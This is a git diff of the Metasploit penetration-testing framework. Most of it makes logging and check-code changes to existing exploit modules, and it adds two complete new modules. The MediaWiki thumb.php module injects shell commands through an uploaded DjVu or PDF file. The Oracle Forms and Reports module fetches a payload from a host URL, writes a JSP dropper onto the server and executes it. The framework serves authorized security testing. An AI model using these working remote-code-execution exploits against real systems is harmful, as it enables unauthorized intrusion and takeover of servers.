diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb
index 8a695a956f..022a6c4476 100644
--- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb
+++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb
@@ -57,17 +57,18 @@ class Metasploit3 < Msf::Exploit::Remote
       })
       if res and res.code == 200
         if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
-          return Exploit::CheckCode::Vulnerable
+          return Exploit::CheckCode::Appears
         elsif res.body =~ /Kordil EDMS v/
           return Exploit::CheckCode::Detected
         end
       end
-      return Exploit::CheckCode::Safe
-    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
-    end
-    return Exploit::CheckCode::Unknown
 
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
+    end
+
+    return Exploit::CheckCode::Safe
   end
 
   def upload(base, file)
@@ -77,7 +78,6 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
     data.add_part("n", nil, nil, 'form-data; name="act"')
     data_post = data.to_s
-    data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     res = send_request_cgi({
       'method'  => 'POST',
diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb
index b87389353b..fc1b6cdac2 100644
--- a/modules/exploits/multi/http/lcms_php_exec.rb
+++ b/modules/exploits/multi/http/lcms_php_exec.rb
@@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     target_url
     if @uri.empty? or @arg.empty?
-      print_error("Unable to get the page parameter, please reconfigure URI")
+      vprint_error("Unable to get the page parameter, please reconfigure URI")
       return
     end
 
@@ -110,10 +110,10 @@ class Metasploit3 < Msf::Exploit::Remote
     }, 20)
 
     if response and response.body =~ /#{signature}/
-      print_status("Signature: #{signature}")
+      vprint_status("Signature: #{signature}")
       return Exploit::CheckCode::Vulnerable
     else
-      print_error("Signature was not detected")
+      vprint_error("Signature was not detected")
       return Exploit::CheckCode::Safe
     end
   end
diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb
index ffe1732df3..da787d5622 100644
--- a/modules/exploits/multi/http/manageengine_search_sqli.rb
+++ b/modules/exploits/multi/http/manageengine_search_sqli.rb
@@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
     res = sqli_exec(Rex::Text.rand_text_alpha(1))
 
     if res and res.body =~ /Error during search/
-      return Exploit::CheckCode::Appears
+      return Exploit::CheckCode::Vulnerable
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb
new file mode 100644
index 0000000000..3c5fe1c5ae
--- /dev/null
+++ b/modules/exploits/multi/http/mediawiki_thumb.rb
@@ -0,0 +1,368 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'MediaWiki Thumb.php Remote Command Execution',
+      'Description' => %q{
+        MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
+      when DjVu  or PDF file upload support is enabled, allows remote unauthenticated
+      users to execute arbitrary commands via shell metacharacters. If no target file
+      is specified this module will attempt to log in with the provided credentials to
+      upload a file (.DjVu) to use for exploitation.
+      },
+      'Author' =>
+        [
+          'Netanel Rubin', # from Check Point - Discovery
+          'Brandon Perry', # Metasploit Module
+          'Ben Harris', # Metasploit Module
+          'Ben Campbell' # Metasploit Module
+        ],
+      'License' => MSF_LICENSE,
+      'References' =>
+        [
+          [ 'CVE', '2014-1610' ],
+          [ 'OSVDB', '102630'],
+          [ 'URL', 'http://www.checkpoint.com/threatcloud-central/articles/2014-01-28-tc-researchers-discover.html' ],
+          [ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
+        ],
+      'Privileged' => false,
+      'Targets' =>
+        [
+          [ 'Automatic PHP-CLI',
+            {
+              'Payload' =>
+                {
+                  'BadChars' => "\r\n",
+                  'PrependEncoder' => "php -r \"",
+                  'AppendEncoder' => "\""
+                },
+              'Platform' => ['php'],
+              'Arch' => ARCH_PHP
+            }
+          ],
+          [ 'Linux CMD',
+            {
+              'Payload'        =>
+                {
+                  'BadChars' => "",
+                  'Compat'      =>
+                    {
+                      'PayloadType' => 'cmd',
+                      'RequiredCmd' => 'generic perl python php',
+                    }
+                },
+              'Platform' => ['unix'],
+              'Arch' => ARCH_CMD
+            }
+          ],
+          [ 'Windows CMD',
+            {
+              'Payload'        =>
+                {
+                  'BadChars' => "",
+                  'Compat'      =>
+                    {
+                      'PayloadType' => 'cmd',
+                      'RequiredCmd' => 'generic perl',
+                    }
+                },
+              'Platform' => ['win'],
+              'Arch' => ARCH_CMD
+            }
+          ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jan 28 2014'))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
+        OptString.new('FILENAME', [ false, "Target DjVu/PDF file (e.g target.djvu target.pdf)", nil ]),
+        OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
+        OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
+      ], self.class)
+  end
+
+  def get_version(body)
+    meta_generator = get_html_value(body, 'meta', 'generator', 'content')
+
+    unless meta_generator
+      vprint_status("No META Generator tag on #{full_uri}.")
+      return nil, nil, nil
+    end
+
+    if meta_generator && meta_generator =~ /mediawiki/i
+      vprint_status("#{meta_generator} detected.")
+      meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
+      major = $1.to_i
+      minor = $2.to_i
+      patch = $3.to_i
+      vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
+
+      return major, minor, patch
+    end
+
+    return nil, nil, nil
+  end
+
+  def check
+    uri = target_uri.path
+
+    opts = { 'uri' => normalize_uri(uri, 'index.php') }
+
+    response = send_request_cgi!(opts)
+
+    if opts['redirect_uri']
+      vprint_status("Redirected to #{opts['redirect_uri']}.")
+    end
+
+    unless response
+      vprint_status("No response from #{full_uri}.")
+      return CheckCode::Unknown
+    end
+
+    # Mediawiki will give a 404 for unknown pages but still have a body
+    if response.code == 200 || response.code == 404
+      vprint_status("#{response.code} response received...")
+
+      major, minor, patch = get_version(response.body)
+
+      unless major
+        return CheckCode::Unknown
+      end
+
+      if major == 1 && (minor < 8 || minor > 22)
+        return CheckCode::Safe
+      elsif major == 1 && (minor == 22 && patch > 1)
+        return CheckCode::Safe
+      elsif major == 1 && (minor == 21 && patch > 4)
+        return CheckCode::Safe
+      elsif major == 1 && (minor == 19 && patch > 10)
+        return CheckCode::Safe
+      elsif major == 1
+        return CheckCode::Appears
+      else
+        return CheckCode::Safe
+      end
+    end
+
+    vprint_status("Received response code #{response.code} from #{full_uri}")
+    CheckCode::Unknown
+  end
+
+  def exploit
+    uri = target_uri.path
+
+    print_status("Grabbing version and login CSRF token...")
+    response = send_request_cgi({
+      'uri' => normalize_uri(uri, 'index.php'),
+      'vars_get' => { 'title' => 'Special:UserLogin' }
+    })
+
+    unless response
+      fail_with(Failure::NotFound, "Failed to retrieve webpage.")
+    end
+
+    server = response['Server']
+    if server && target.name =~ /automatic/i && server =~ /win32/i
+      vprint_status("Windows platform detected: #{server}.")
+      my_platform = Msf::Module::Platform::Windows
+    elsif server && target.name =~ /automatic/i
+      vprint_status("Nix platform detected: #{server}.")
+      my_platform = Msf::Module::Platform::Unix
+    else
+      my_platform = target.platform.platforms.first
+    end
+
+    # If we have already identified a DjVu/PDF file on the server trigger
+    # the exploit
+    unless datastore['FILENAME'].blank?
+      payload_request(uri, datastore['FILENAME'], my_platform)
+      return
+    end
+
+    username = datastore['USERNAME']
+    password = datastore['PASSWORD']
+
+    major, minor, patch = get_version(response.body)
+
+    # Upload CSRF added in v1.18.2
+    # http://www.mediawiki.org/wiki/Release_notes/1.18#Changes_since_1.18.1
+    if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
+      upload_csrf = false
+    elsif ((major == 1) && (minor < 18))
+      upload_csrf = false
+    else
+      upload_csrf = true
+    end
+
+    session_cookie = response.get_cookies
+
+    wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
+
+    if wp_login_token.blank?
+      fail_with(Failure::UnexpectedReply, "Couldn't find login token. Is URI set correctly?")
+    else
+      print_good("Retrieved login CSRF token.")
+    end
+
+    print_status("Attempting to login...")
+    login = send_request_cgi({
+      'uri' => normalize_uri(uri, 'index.php'),
+      'method' => 'POST',
+      'vars_get' => {
+        'title' => 'Special:UserLogin',
+        'action' => 'submitlogin',
+        'type' => 'login'
+      },
+      'cookie' => session_cookie,
+      'vars_post' => {
+        'wpName' => username,
+        'wpPassword' => password,
+        'wpLoginAttempt' => 'Log in',
+        'wpLoginToken' => wp_login_token
+      }
+    })
+
+    if login and login.code == 302
+      print_good("Log in successful.")
+    else
+      fail_with(Failure::NoAccess, "Failed to log in.")
+    end
+
+    auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
+
+    # Testing v1.15.1 it looks like it has session fixation
+    # vulnerability so we dont get a new session cookie after
+    # authenticating. Therefore we need to include our old cookie.
+    unless auth_cookie.include? 'session='
+      auth_cookie << session_cookie
+    end
+
+    print_status("Getting upload CSRF token...") if upload_csrf
+    upload_file = send_request_cgi({
+      'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
+      'cookie' => auth_cookie
+    })
+
+    unless upload_file and upload_file.code == 200
+      fail_with(Failure::NotFound, "Failed to access file upload page.")
+    end
+
+    wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
+    wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
+    title = get_html_value(upload_file.body, 'input', 'title', 'value')
+
+    if upload_csrf && wp_edit_token.blank?
+      fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
+    elsif upload_csrf
+      print_good("Retrieved upload CSRF token.")
+    end
+
+    upload_mime = Rex::MIME::Message.new
+
+    djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1610", "metasploit.djvu"))
+    file_name = "#{rand_text_alpha(4)}.djvu"
+
+    upload_mime.add_part(djvu_file, "application/octet-stream", "binary", "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"")
+    upload_mime.add_part("#{file_name}", nil, nil, "form-data; name=\"wpDestFile\"")
+    upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
+    upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
+    upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
+    upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
+    upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
+    upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
+    upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
+    post_data = upload_mime.to_s
+
+    print_status("Uploading DjVu file #{file_name}...")
+
+    upload = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
+      'data'   => post_data,
+      'ctype'  => "multipart/form-data; boundary=#{upload_mime.bound}",
+      'cookie' => auth_cookie
+    })
+
+    if upload and upload.code == 302 and upload.headers['Location']
+      location = upload.headers['Location']
+      print_good("File uploaded to #{location}")
+    else
+      if upload.body.include? 'not a permitted file type'
+        fail_with(Failure::NotVulnerable, "Wiki is not configured for target files.")
+      else
+        fail_with(Failure::UnexpectedReply, "Failed to upload file.")
+      end
+    end
+
+    payload_request(uri, file_name, my_platform)
+  end
+
+  def payload_request(uri, file_name, my_platform)
+    if my_platform == Msf::Module::Platform::Windows
+      trigger = "1)&(#{payload.encoded})&"
+    else
+      trigger = "1;#{payload.encoded};"
+    end
+
+    vars_get = { 'f' => file_name }
+    if file_name.include? '.pdf'
+      vars_get['width'] = trigger
+    elsif file_name.include? '.djvu'
+      vars_get['width'] = 1
+      vars_get['p'] = trigger
+    else
+      fail_with(Failure::BadConfig, "Unsupported file extension: #{file_name}")
+    end
+
+    print_status("Sending payload request...")
+    r = send_request_cgi({
+      'uri' => normalize_uri(uri, 'thumb.php'),
+      'vars_get' => vars_get
+    }, 1)
+
+    if r && r.code == 404 && r.body =~ /not exist/
+      print_error("File: #{file_name} does not exist.")
+    elsif r
+      print_error("Received response #{r.code}, exploit probably failed.")
+    end
+  end
+
+  # The order of name, value keeps shifting so regex is painful.
+  # Cant use nokogiri due to security issues
+  # Cant use REXML directly as its not strict XHTML
+  # So we do a filthy mixture of regex and REXML
+  def get_html_value(html, type, name, value)
+    return nil unless html
+    return nil unless type
+    return nil unless name
+    return nil unless value
+
+    found = nil
+    html.each_line do |line|
+      if line =~ /(<#{type}[^\/]*name="#{name}".*?\/>)/i
+        found = $&
+        break
+      end
+    end
+
+    if found
+      doc = REXML::Document.new found
+      return doc.root.attributes[value]
+    end
+
+    ''
+  end
+end
+
diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb
index 0996cd97a4..acd70eb924 100644
--- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb
+++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb
@@ -70,7 +70,7 @@ class Metasploit4 < Msf::Exploit::Remote
 
   def check
     fingerprint = rand_text_alpha(5)
-    print_status("#{peer} - Sending check...")
+    vprint_status("#{peer} - Sending check...")
     begin
       res = http_send_raw(fingerprint)
     rescue Rex::ConnectionError
diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb
index b000181848..0ff2944781 100644
--- a/modules/exploits/multi/http/op5_license.rb
+++ b/modules/exploits/multi/http/op5_license.rb
@@ -54,8 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
-    print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
-    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
+    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
+    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
 
     # Try running/timing 'ping localhost' to determine is system is vulnerable
     start = Time.now
diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb
index f374b6bb9b..42b2932835 100644
--- a/modules/exploits/multi/http/op5_welcome.rb
+++ b/modules/exploits/multi/http/op5_welcome.rb
@@ -54,8 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
-    print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
-    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
+    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
+    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
 
     # Try running/timing 'ping localhost' to determine is system is vulnerable
     start = Time.now
diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb
index f14f2c997b..bc346979d8 100644
--- a/modules/exploits/multi/http/openfire_auth_bypass.rb
+++ b/modules/exploits/multi/http/openfire_auth_bypass.rb
@@ -97,18 +97,18 @@ class Metasploit3 < Msf::Exploit::Remote
       })
 
     if (not res) or (res.code != 200)
-      print_error("Unable to make a request to: #{path}")
+      vprint_error("Unable to make a request to: #{path}")
       return Exploit::CheckCode::Unknown
     end
 
     versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
 
     if versioncheck.nil? then
-      print_error("Unable to detect Openfire version")
+      vprint_error("Unable to detect Openfire version")
       return Exploit::CheckCode::Unknown
     end
 
-    print_status("Detected version: #{$1}.#{$2}.#{$3}")
+    vprint_status("Detected version: #{$1}.#{$2}.#{$3}")
     version = "#{$1}#{$2}#{$3}".to_i
 
     return Exploit::CheckCode::Safe if version > 360
@@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     end
 
-    Exploit::CheckCode::Vulnerable
+    Exploit::CheckCode::Appears
   end
 
   def get_plugin_jar(plugin_name)
diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb
index 59f4408c39..62667b859f 100644
--- a/modules/exploits/multi/http/openx_backdoor_php.rb
+++ b/modules/exploits/multi/http/openx_backdoor_php.rb
@@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if response.nil?
       CheckCode::Unknown
     elsif response.body =~ /#{token} ((:?\d\.?)+)/
-      print_status("PHP Version #{$1}")
+      vprint_status("PHP Version #{$1}")
       return CheckCode::Vulnerable
     end
     return CheckCode::Safe
diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb
new file mode 100644
index 0000000000..30e58cb458
--- /dev/null
+++ b/modules/exploits/multi/http/oracle_reports_rce.rb
@@ -0,0 +1,266 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'uri'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HttpServer::HTML
+  include Msf::Exploit::EXE
+
+  Rank = GreatRanking
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'            => 'Oracle Forms and Reports Remote Code Execution',
+      'Description'     => %q{
+      This module uses two vulnerabilities in Oracle Forms and Reports to get remote code execution
+      on the host. The showenv url can be used to disclose information about a server. A second
+      vulnerability that allows arbitrary reading and writing to the host filesystem can then be
+      used to write a shell from a remote url to a known local path disclosed from the previous
+      vulnerability.
+
+      The local path being accessable from an URL allows an attacker to perform the remote code
+      execution using, for example, a .jsp shell.
+
+      This module was tested successfully on Windows and Oracle Forms and Reports 10.1.
+      },
+      'Author'          =>
+        [
+          'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
+          'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
+        ],
+      'License'         => MSF_LICENSE,
+      'References'      =>
+        [
+          [ "CVE", "2012-3152" ],
+          [ "CVE", "2012-3153" ],
+          [ "OSVDB", "86395" ], # Matches CVE-2012-3152
+          [ "OSVDB", "86394" ], # Matches CVE-2012-3153
+          [ "EDB", "31253" ],
+          [ 'URL', "http://netinfiltration.com" ]
+        ],
+      'Stance'          => Msf::Exploit::Stance::Aggressive,
+      'Platform'        => ['win', 'linux'],
+      'Targets'         =>
+        [
+          [ 'Linux',
+            {
+            'Arch' => ARCH_X86,
+            'Platform' => 'linux'
+            }
+          ],
+          [ 'Windows',
+            {
+            'Arch' => ARCH_X86,
+            'Platform' => 'win'
+            }
+          ],
+        ],
+      'DefaultTarget'   => 0,
+      'DisclosureDate'  => 'Jan 15 2014'
+    ))
+    register_options(
+      [
+        OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
+        OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
+        OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
+      ])
+  end
+
+  def check
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
+      'method' => 'GET'
+      })
+
+    if res and res.code == 200
+      if res.body =~ /\\(.*)\\showenv/
+        vprint_good "#{peer} - Windows install detected "
+        path = $1.gsub("\\", "/")
+        vprint_status "#{peer} - Path:  #{path}"
+      elsif res.body =~ /\/(.*)\/showenv/
+        vprint_good "#{peer} - Linux install detected"
+        vprint_status "#{peer} - Path:  #{$1}"
+      else
+        return Exploit::CheckCode::Safe
+      end
+    end
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
+      'method' => 'GET',
+       'vars_get' => {
+       'report' => 'test.rdf',
+       'desformat' => 'html',
+       'destype' => 'cache',
+       'JOBTYPE' => 'rwurl',
+       'URLPARAMETER' => 'file:///'
+       }
+      })
+
+    if res and res.code == 200 and res.body.downcase.exclude?("<html>")
+      vprint_good "#{peer} - URLPARAMETER is vulnerable"
+      return Exploit::CheckCode::Vulnerable
+    else
+      vprint_status "#{peer} - URLPARAMETER is not vulnerable"
+      return Exploit::CheckCode::Safe
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    @payload_url = ""
+    @payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
+    @payload_dir = datastore['PAYDIR']
+    @local_path = ""
+
+    print_status "#{peer} - Querying showenv!"
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
+      'method' => 'GET',
+      })
+
+    if res and res.code == 200
+      if res.body =~ /\\(.*)\\showenv/
+        print_good "#{peer} - Query succeeded!"
+        print_status "#{peer} - Windows install detected "
+        @local_path = $1.gsub("\\", "/")
+        print_status "#{peer} - Path: #{@local_path }"
+      elsif res.body =~ /\/(.*)\/showenv/
+        print_good "#{peer} - Query succeeded!"
+        print_status "#{peer} - Linux install detected"
+        @local_path = $1
+        print_status "#{peer} - Path:  #{@local_path }"
+      else
+        print_status "#{peer} - Query failed"
+        fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
+      end
+    else
+      fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
+    end
+
+    if datastore['EXTURL'].blank?
+      print_status "#{peer} - Hosting payload locally ..."
+      begin
+        Timeout.timeout(datastore['HTTPDELAY']) {super}
+      rescue Timeout::Error
+      end
+      exec_payload
+    else
+      print_status "#{peer} - Using external url for payload delivery ..."
+      @payload_url = datastore['EXTURL']
+      upload_payload
+      exec_payload
+    end
+  end
+
+  def primer
+    @payload_url = get_uri
+    @pl = gen_file_dropper
+    upload_payload
+  end
+
+  def on_request_uri(cli, request)
+    send_response(cli, @pl)
+  end
+
+  def upload_payload
+    print_status "#{peer} - Uploading payload ..."
+    path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
+      'method' => 'GET',
+      'encode_params' => false,
+      'vars_get' => {
+        'report' => 'test.rdf',
+        'desformat' => 'html',
+        'destype' => 'file',
+        'desname' => path,
+        'JOBTYPE' => 'rwurl',
+        'URLPARAMETER' => @payload_url
+       }
+    })
+
+    if res and res.code == 200
+      print_good "#{peer} - Payload hopefully uploaded!"
+    else
+      print_status "#{peer} - Payload upload failed"
+    end
+  end
+
+  def gen_file_dropper
+    big_payload =  false #size matters :(
+
+    gen_payload_name  = rand_text_alpha(8+rand(8))
+    encoded_pl  = Rex::Text.encode_base64(generate_payload_exe)
+    print_status "#{peer} - Building JSP shell ..."
+
+    len = encoded_pl.length
+    if len >= 60000 #java string size limit ~60k workaround
+      print_status "#{peer} - Adjusting shell due to payload size"
+      pl_first = encoded_pl.slice(0, 60000)
+      pl_second = encoded_pl.slice(60000, len)
+      big_payload = true
+    end
+
+    #embed our payload
+    shell  = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
+    shell += " <%"
+    shell += " BASE64Decoder decoder = new BASE64Decoder();"
+    #correct file suffix if windows
+    if datastore['TARGET'] == 1
+      shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
+    else
+      shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
+    end
+    shell += " String path = temp.getAbsolutePath();"
+    if big_payload
+      shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
+      shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"
+
+      shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
+      shell += " ou.write(pl);"
+      shell += " ou.close();"
+
+      shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
+      shell += " ou.write(pltwo);"
+      shell += " ou.close();"
+    else
+      shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
+      shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
+      shell += " ou.write(pl);"
+      shell += " ou.close();"
+    end
+    #correct rights if linux host
+    if datastore['TARGET'] == 0
+      shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
+      shell += " p.waitFor();"
+    end
+    shell += " Runtime.getRuntime().exec(path);"
+    shell += "%>"
+
+    return shell
+  end
+
+  def exec_payload
+    print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
+    print_status("#{peer} - Executing payload...")
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
+      'method' => 'GET'
+    })
+
+    if res and res.code == 200
+       print_good("#{peer} - Payload executed!")
+    else
+       print_status("#{peer} - Payload execution failed")
+    end
+  end
+end
diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb
index e571186ccf..61a67e8e40 100644
--- a/modules/exploits/multi/http/php_cgi_arg_injection.rb
+++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb
@@ -66,12 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
   #   -s               Display colour syntax highlighted source.
   def check
 
-    print_status("Checking uri #{uri}")
+    vprint_status("Checking uri #{uri}")
 
     response = send_request_raw({ 'uri' => uri })
 
     if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi and not datastore['PLESK']
-      print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
+      vprint_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
       return Exploit::CheckCode::Unknown
     end
 
@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Appears
     end
 
-    print_error("Server responded indicating it was not vulnerable")
+    vprint_error("Server responded indicating it was not vulnerable")
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb
index e37a13f9b2..c6eeac426b 100644
--- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb
+++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb
@@ -12,12 +12,13 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
+      'Name'           => 'phpLDAPadmin query_engine Remote PHP Code Injection',
       'Description'    => %q{
-          This module exploits a vulnerability in the lib/functions.php that allows
-        attackers input parsed directly to the create_function() php function. A patch was
-        issued that uses a whitelist regex expression to check the user supplied input
-        before being parsed to the create_function() call.
+        This module exploits a vulnerability in the lib/functions.php for
+        phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input
+        parsed directly to the create_function() php function. A patch was
+        issued that uses a whitelist regex expression to check the user supplied
+        input before being parsed to the create_function() call.
       },
       'Author'         =>
         [
@@ -63,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
       }, 3)
 
     if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
index cadae2b862..5cb26ce8a2 100644
--- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
+++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
@@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'Author' =>
         [
           'Janek "waraxe" Vind', # Discovery
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
+          'Ben Campbell' # Metasploit Module
         ],
       'License' => MSF_LICENSE,
       'References' =>
@@ -64,18 +64,18 @@ class Metasploit3 < Msf::Exploit::Remote
     begin
       res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
     rescue
-      print_error("Unable to connect to server.")
+      vprint_error("Unable to connect to server.")
       return CheckCode::Unknown
     end
 
     if res.code != 200
-      print_error("Unable to query /js/messages.php")
+      vprint_error("Unable to query /js/messages.php")
       return CheckCode::Unknown
     end
 
     php_version = res['X-Powered-By']
     if php_version
-      print_status("PHP Version: #{php_version}")
+      vprint_status("PHP Version: #{php_version}")
       if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
         if $1.to_i > 5
           return CheckCode::Safe
@@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
         end
       end
     else
-      print_status("Unknown PHP Version")
+      vprint_status("Unknown PHP Version")
     end
 
     if res.body =~ /pmaversion = '(.*)';/
@@ -99,15 +99,17 @@ class Metasploit3 < Msf::Exploit::Remote
         when '3.5.8.1', '4.0.0-rc3'
           return CheckCode::Safe
